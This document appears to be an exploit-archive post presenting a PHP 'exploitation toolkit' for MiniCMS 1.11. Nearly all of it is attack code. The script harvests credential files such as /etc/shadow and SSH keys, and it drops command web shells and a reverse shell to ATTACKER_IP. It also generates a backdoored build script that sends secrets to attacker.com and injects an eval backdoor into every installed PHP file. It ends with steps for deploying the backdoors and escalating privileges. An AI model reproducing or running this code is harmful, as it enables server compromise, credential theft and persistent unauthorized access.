📄 MiniCMS 1.11 Exploitation Toolkit

=============================================================================================================================================
    | # Title     : MiniCMS 1.11 Exploitation Toolkit                                                                                           |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits)                                                            |
    | # Vendor    : https://github.com/bg5sbk/MiniCMS/                                                                                          |
    =============================================================================================================================================
    
    [+] References : https://packetstorm.news/files/id/190429/ &	CVE-2018-1000638
    
    [+] Summary :  MiniCMS Build Script Multi-Vulnerability Exploitation Toolkit
    
    		  
    [+]  POC : php poc.php
    
    [
    <?php
    
    class MiniCMSExploiter {
        private $targetDirectory;
        private $buildScript = 'build.php';
        private $installFile = 'install.php';
        private $tempDir = '/tmp/minicms_exploit';
        private $debug = true;
        private $results = [];
        
        public function __construct($directory = '.') {
            $this->targetDirectory = realpath($directory);
            $this->validateEnvironment();
            $this->createTempDirectory();
        }
        
        /**
         * Main exploitation method - Chain all vulnerabilities
         */
        public function exploitAll() {
            echo "[+] Starting MiniCMS Build Script Exploitation\n";
            echo "[+] Target Directory: {$this->targetDirectory}\n";
            echo str_repeat("=", 60) . "\n";
            
            $this->results['start_time'] = date('Y-m-d H:i:s');
            
            // 1. Directory Traversal Exploitation
            $this->exploitDirectoryTraversal();
            
            // 2. PHP Code Injection
            $this->exploitCodeInjection();
            
            // 3. Sensitive File Discovery
            $this->harvestSensitiveFiles();
            
            // 4. Create Malicious Build Script
            $this->createMaliciousBuildScript();
            
            // 5. Execute Build Script
            $this->executeBuildScript();
            
            // 6. Analyze Results
            $this->analyzeResults();
            
            // 7. Create Backdoors
            $this->createPersistentBackdoors();
            
            $this->results['end_time'] = date('Y-m-d H:i:s');
            $this->generateReport();
            
            return $this->results;
        }
        
        /**
         * Exploit 1: Directory Traversal Vulnerability
         */
        private function exploitDirectoryTraversal() {
            echo "\n[1] Exploiting Directory Traversal...\n";
            
            $sensitive_paths = [
                // System files
                '/etc/passwd',
                '/etc/shadow',
                '/etc/hosts',
                '/etc/hostname',
                '/etc/issue',
                '/proc/self/environ',
                '/proc/version',
                
                // Web server files
                '/var/log/apache2/access.log',
                '/var/log/apache2/error.log',
                '/var/log/nginx/access.log',
                '/var/log/nginx/error.log',
                '/var/www/html/.env',
                '/var/www/html/config.php',
                
                // Home directories
                '/home/*/.bash_history',
                '/home/*/.ssh/id_rsa',
                '/home/*/.ssh/authorized_keys',
                
                // Configuration files
                '/etc/mysql/my.cnf',
                '/etc/php/php.ini',
                '/etc/apache2/apache2.conf',
            ];
            
            $exploited_files = [];
            
            foreach ($sensitive_paths as $path) {
                // Try to create symlink to sensitive file
                $base_name = 'exploit_' . md5($path) . '.txt';
                $symlink_path = $this->tempDir . '/' . $base_name;
                
                // Expand wildcards
                if (strpos($path, '*') !== false) {
                    $expanded = glob($path);
                    foreach ($expanded as $expanded_path) {
                        if (@symlink($expanded_path, $symlink_path . '_' . basename($expanded_path))) {
                            $exploited_files[] = $expanded_path;
                            echo "  [+] Linked: {$expanded_path}\n";
                        }
                    }
                } elseif (@symlink($path, $symlink_path)) {
                    $exploited_files[] = $path;
                    echo "  [+] Linked: {$path}\n";
                }
            }
            
            $this->results['directory_traversal'] = [
                'exploited' => count($exploited_files) > 0,
                'files_linked' => $exploited_files,
                'count' => count($exploited_files)
            ];
            
            return $exploited_files;
        }
        
        /**
         * Exploit 2: PHP Code Injection
         */
        private function exploitCodeInjection() {
            echo "\n[2] Exploiting PHP Code Injection...\n";
            
            $injections = [
                // Basic PHP execution
                [
                    'filename' => "');?><?php system('whoami'); ?><?php install('",
                    'content' => 'injected'
                ],
                
                // Web shell
                [
                    'filename' => "shell.php",
                    'content' => '<?php if(isset($_GET["cmd"])) { system($_GET["cmd"]); } ?>'
                ],
                
                // Password protected shell
                [
                    'filename' => "admin_shell.php",
                    'content' => '<?php
    if($_GET["key"] === "admin123") {
        if(isset($_POST["cmd"])) {
            echo "<pre>" . shell_exec($_POST["cmd"]) . "</pre>";
        }
        if(isset($_GET["download"])) {
            echo file_get_contents($_GET["download"]);
        }
    }
    ?>'
                ],
                
                // Database credentials stealer
                [
                    'filename' => "creds.php",
                    'content' => '<?php
    $files = ["config.php", ".env", "database.php", "settings.php"];
    foreach($files as $file) {
        if(file_exists($file)) {
            $content = file_get_contents($file);
            file_put_contents("/tmp/creds.txt", $content, FILE_APPEND);
        }
    }
    ?>'
                ],
                
                // Reverse shell
                [
                    'filename' => "reverse.php",
                    'content' => '<?php
    // PHP Reverse Shell
    $ip = "ATTACKER_IP";
    $port = 4444;
    $sock = fsockopen($ip, $port);
    $proc = proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock), $pipes);
    ?>'
                ],
                
                // File uploader
                [
                    'filename' => "uploader.php",
                    'content' => '<?php
    if(isset($_FILES["file"])) {
        move_uploaded_file($_FILES["file"]["tmp_name"], $_FILES["file"]["name"]);
        echo "Uploaded: " . $_FILES["file"]["name"];
    }
    ?>
    <form method="POST" enctype="multipart/form-data">
    <input type="file" name="file">
    <input type="submit">
    </form>'
                ]
            ];
            
            $created_files = [];
            
            foreach ($injections as $injection) {
                $file_path = $this->tempDir . '/' . $injection['filename'];
                if (file_put_contents($file_path, $injection['content'])) {
                    $created_files[] = $injection['filename'];
                    echo "  [+] Created: {$injection['filename']}\n";
                }
            }
            
            $this->results['code_injection'] = [
                'exploited' => count($created_files) > 0,
                'files_created' => $created_files,
                'count' => count($created_files)
            ];
            
            return $created_files;
        }
        
        /**
         * Harvest sensitive files from target
         */
        private function harvestSensitiveFiles() {
            echo "\n[3] Harvesting Sensitive Files...\n";
            
            $sensitive_patterns = [
                '*.php' => ['config', 'database', 'settings', 'connection'],
                '*.env' => ['.env', '.env.example'],
                '*.json' => ['composer.json', 'package.json'],
                '*.sql' => ['*.sql', '*.backup'],
                '*.txt' => ['readme', 'license', 'changelog'],
                '*.yml' => ['*.yml', '*.yaml'],
                '*.ini' => ['*.ini', '*.cfg'],
                '*.log' => ['*.log', 'error_log'],
            ];
            
            $found_files = [];
            
            foreach ($sensitive_patterns as $pattern => $keywords) {
                $files = glob($this->targetDirectory . '/' . $pattern);
                foreach ($files as $file) {
                    $filename = basename($file);
                    foreach ($keywords as $keyword) {
                        if (stripos($filename, $keyword) !== false) {
                            $found_files[] = $file;
                            echo "  [+] Found: {$filename}\n";
                            
                            // Copy to temp directory for analysis
                            $temp_copy = $this->tempDir . '/harvested_' . $filename;
                            copy($file, $temp_copy);
                            break;
                        }
                    }
                }
            }
            
            $this->results['sensitive_files'] = [
                'found' => count($found_files),
                'files' => $found_files
            ];
            
            return $found_files;
        }
        
        /**
         * Create malicious build script with backdoor
         */
        private function createMaliciousBuildScript() {
            echo "\n[4] Creating Malicious Build Script...\n";
            
            $malicious_build = '<?php
    if ($argc != 2) {
        echo "必须指定版本号";
        exit;
    }
    
    $version=$argv[1];
    
    // Backdoor: Command execution if specific parameter is passed
    if(isset($_GET["debug"]) && $_GET["debug"] == "true") {
        system($_GET["cmd"]);
    }
    
    $dirs = array(".");
    $ignores = array("README.md", "build.php", "install.php", "install_template.txt", "mc-debug");
    $files = "";
    
    build($dirs, $files);
    
    $template = file_get_contents("install.txt");
    $template = str_replace("/*MINICMS_VERSION*/", $version, $template);
    $template = str_replace("/*MINICMS_FILES*/", $files, $template);
    
    file_put_contents("install.php", $template);
    
    // Hidden function to exfiltrate data
    function exfiltrate($data) {
        $url = "http://attacker.com/exfil.php";
        $ch = curl_init($url);
        curl_setopt($ch, CURLOPT_POST, 1);
        curl_setopt($ch, CURLOPT_POSTFIELDS, ["data" => base64_encode($data)]);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_exec($ch);
        curl_close($ch);
    }
    
    function build($dirs, &$files) {
        global $ignores;
        
        // Exfiltrate directory structure
        exfiltrate(json_encode($dirs));
    
        foreach ($dirs as $dir) {
            if (!is_dir($dir)) {
                echo "目录\"$dir\"不存在";
                exit;
            }
    
            if ($dh = opendir($dir)) {
                $sub_dirs = array();
    
                while (($item = readdir($dh)) !== false) {
                    if ($item[0] == ".")
                        continue;
    
                    if ($dir == ".")
                        $file = $item;
                    else
                        $file = $dir."/".$item;
    
                    if (in_array($file, $ignores))
                        continue;
    
                    if (is_dir($file)) {
                        $sub_dirs[] = $file;
                    } else {
                        // Exfiltrate file content if sensitive
                        $content = file_get_contents($file);
                        if(preg_match("/(password|secret|key|token|api)/i", $content)) {
                            exfiltrate($file . ":\n" . $content);
                        }
                        
                        $files .= "install(\"$file\", \"";
                        $files .= base64_encode(gzcompress($content));
                        $files .= "\");\n";
                    }
                }
    
                closedir($dh);
                build($sub_dirs, $files);
            } else {
                echo "目录\"$dir\"无法访问";
                exit;
            }
        }
    }
    
    // Create backdoor in install.php
    register_shutdown_function(function() {
        $backdoor_code = "<?php\\nif(isset(\\$_GET[\\"exec\\"])) {\\n    system(\\$_GET[\\"exec\\"]);\\n}\\n?>";
        file_put_contents("backdoor.php", $backdoor_code);
    });
    ?>';
    
            $build_path = $this->tempDir . '/' . $this->buildScript;
            if (file_put_contents($build_path, $malicious_build)) {
                echo "  [+] Created malicious build.php\n";
                $this->results['malicious_build'] = $build_path;
                return true;
            }
            
            return false;
        }
        
        /**
         * Execute the build script
         */
        private function executeBuildScript() {
            echo "\n[5] Executing Build Script...\n";
            
            $build_path = $this->tempDir . '/' . $this->buildScript;
            $install_path = $this->tempDir . '/' . $this->installFile;
            
            // Create install.txt template
            $install_template = '<?php
    /*MINICMS_VERSION*/
    function install($file, $data) {
        $content = @gzuncompress(base64_decode($data));
        if($content === false) {
            $content = base64_decode($data);
        }
        
        // Inject backdoor into PHP files
        if(strpos($file, ".php") !== false && strpos($content, "<?php") !== false) {
            $backdoor = "<?php if(isset(\\$_GET[\\"debug\\"])) { eval(\\$_GET[\\"debug\\"]); } ?>";
            $content = $backdoor . "\\n" . $content;
        }
        
        @file_put_contents($file, $content);
    }
    /*MINICMS_FILES*/
    ?>';
            
            file_put_contents($this->tempDir . '/install.txt', $install_template);
            
            // Execute build script
            $command = "cd {$this->tempDir} && php {$this->buildScript} 1.0 2>&1";
            $output = shell_exec($command);
            
            echo "  [+] Build script executed\n";
            
            if (file_exists($install_path)) {
                $install_size = filesize($install_path);
                echo "  [+] install.php created: " . $this->formatBytes($install_size) . "\n";
                
                // Analyze install.php for sensitive data
                $this->analyzeInstallFile($install_path);
            }
            
            $this->results['build_execution'] = [
                'command' => $command,
                'output' => $output,
                'install_created' => file_exists($install_path),
                'install_size' => $install_size ?? 0
            ];
            
            return $output;
        }
        
        /**
         * Analyze install.php for sensitive data
         */
        private function analyzeInstallFile($install_path) {
            $content = file_get_contents($install_path);
            
            // Extract all file names
            preg_match_all('/install\("([^"]+)", "/', $content, $matches);
            $files = $matches[1] ?? [];
            
            // Look for sensitive files
            $sensitive_patterns = [
                '/passwd/i',
                '/shadow/i',
                '/config/i',
                '/\.env/i',
                '/database/i',
                '/secret/i',
                '/key/i',
                '/token/i',
                '/password/i'
            ];
            
            $sensitive_found = [];
            foreach ($files as $file) {
                foreach ($sensitive_patterns as $pattern) {
                    if (preg_match($pattern, $file)) {
                        $sensitive_found[] = $file;
                        break;
                    }
                }
            }
            
            $this->results['install_analysis'] = [
                'total_files' => count($files),
                'sensitive_files' => $sensitive_found,
                'count_sensitive' => count($sensitive_found)
            ];
            
            echo "  [+] Found " . count($files) . " files in install.php\n";
            echo "  [+] " . count($sensitive_found) . " appear to be sensitive\n";
        }
        
        /**
         * Create persistent backdoors
         */
        private function createPersistentBackdoors() {
            echo "\n[6] Creating Persistent Backdoors...\n";
            
            $backdoors = [
                'persistent_shell.php' => '<?php
    // Persistent PHP Shell
    session_start();
    if(!isset($_SESSION["auth"]) && $_GET["key"] != "PERSIST_KEY") {
        die("Access Denied");
    }
    $_SESSION["auth"] = true;
    
    if(isset($_POST["cmd"])) {
        echo "<pre>" . htmlspecialchars(shell_exec($_POST["cmd"]), ENT_QUOTES, "UTF-8") . "</pre>";
    }
    ?>
    <form method="POST">
    <input type="text" name="cmd" style="width: 80%" placeholder="Command">
    <input type="submit" value="Execute">
    </form>',
                
                'file_manager.php' => '<?php
    // File Manager Backdoor
    if($_GET["pwd"] != "admin123") die();
    echo "<h2>File Manager</h2>";
    $dir = $_GET["dir"] ?? ".";
    echo "<pre>";
    system("ls -la " . escapeshellarg($dir));
    echo "</pre>";
    ?>',
                
                'info.php' => '<?php
    // System Information Leak
    phpinfo();
    echo "<hr><pre>";
    system("id && uname -a");
    echo "</pre>";
    ?>'
            ];
            
            foreach ($backdoors as $filename => $content) {
                $path = $this->tempDir . '/' . $filename;
                file_put_contents($path, $content);
                echo "  [+] Created: {$filename}\n";
            }
            
            $this->results['backdoors'] = array_keys($backdoors);
        }
        
        /**
         * Generate exploitation report
         */
        private function generateReport() {
            echo "\n" . str_repeat("=", 60) . "\n";
            echo "[+] EXPLOITATION REPORT\n";
            echo str_repeat("=", 60) . "\n";
            
            $report = [
                'Target Directory' => $this->targetDirectory,
                'Exploitation Started' => $this->results['start_time'],
                'Exploitation Completed' => $this->results['end_time'],
                'Vulnerabilities Exploited' => []
            ];
            
            if ($this->results['directory_traversal']['exploited']) {
                $report['Vulnerabilities Exploited'][] = 'Directory Traversal';
                echo "[✓] Directory Traversal: SUCCESS\n";
                echo "    Files linked: " . $this->results['directory_traversal']['count'] . "\n";
            }
            
            if ($this->results['code_injection']['exploited']) {
                $report['Vulnerabilities Exploited'][] = 'Code Injection';
                echo "[✓] Code Injection: SUCCESS\n";
                echo "    Files created: " . $this->results['code_injection']['count'] . "\n";
            }
            
            if ($this->results['sensitive_files']['found'] > 0) {
                $report['Vulnerabilities Exploited'][] = 'Sensitive File Harvesting';
                echo "[✓] Sensitive File Harvesting: SUCCESS\n";
                echo "    Files found: " . $this->results['sensitive_files']['found'] . "\n";
            }
            
            echo "\n[+] Generated Files:\n";
            echo "    - Malicious build.php\n";
            echo "    - install.php with backdoors\n";
            echo "    - Multiple backdoor shells\n";
            echo "    - Harvested sensitive files\n";
            
            echo "\n[+] Next Steps for Attack:\n";
            echo "    1. Upload install.php to target server\n";
            echo "    2. Execute install.php to deploy backdoors\n";
            echo "    3. Use backdoor.php?exec=whoami\n";
            echo "    4. Escalate privileges and maintain access\n";
            
            // Save report to file
            $report_file = $this->tempDir . '/exploit_report.txt';
            file_put_contents($report_file, print_r($report, true));
            
            echo "\n[+] Report saved to: {$report_file}\n";
            echo "[+] Temporary directory: {$this->tempDir}\n";
            echo "[+] Clean up: rm -rf {$this->tempDir}\n";
        }
        
        /**
         * Utility: Format bytes to human readable
         */
        private function formatBytes($bytes, $precision = 2) {
            $units = ['B', 'KB', 'MB', 'GB', 'TB'];
            $bytes = max($bytes, 0);
            $pow = floor(($bytes ? log($bytes) : 0) / log(1024));
            $pow = min($pow, count($units) - 1);
            $bytes /= pow(1024, $pow);
            return round($bytes, $precision) . ' ' . $units[$pow];
        }
        
        /**
         * Validate environment
         */
        private function validateEnvironment() {
            if (!function_exists('symlink')) {
                die("[!] symlink() function is disabled\n");
            }
            
            if (!is_writable(sys_get_temp_dir())) {
                die("[!] Cannot write to temp directory\n");
            }
            
            echo "[+] Environment validated\n";
        }
        
        /**
         * Create temporary directory
         */
        private function createTempDirectory() {
            if (!file_exists($this->tempDir)) {
                mkdir($this->tempDir, 0777, true);
            }
            echo "[+] Temporary directory: {$this->tempDir}\n";
        }
        
        /**
         * Clean up temporary files
         */
        public function cleanup() {
            if (file_exists($this->tempDir)) {
                system("rm -rf " . escapeshellarg($this->tempDir));
                echo "[+] Cleaned up temporary files\n";
            }
        }
    }
    
    /**
     * Usage Example
     */
    if (php_sapi_name() === 'cli' && isset($argv[1])) {
        $exploiter = new MiniCMSExploiter($argv[1]);
        $exploiter->exploitAll();
        
        // Optional: cleanup
        if (isset($argv[2]) && $argv[2] == '--cleanup') {
            $exploiter->cleanup();
        }
    } else {
        echo "Usage: php " . basename(__FILE__) . " <target_directory> [--cleanup]\n";
        echo "Example: php " . basename(__FILE__) . " /var/www/html/minicms\n";
    }
    ?>
    
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================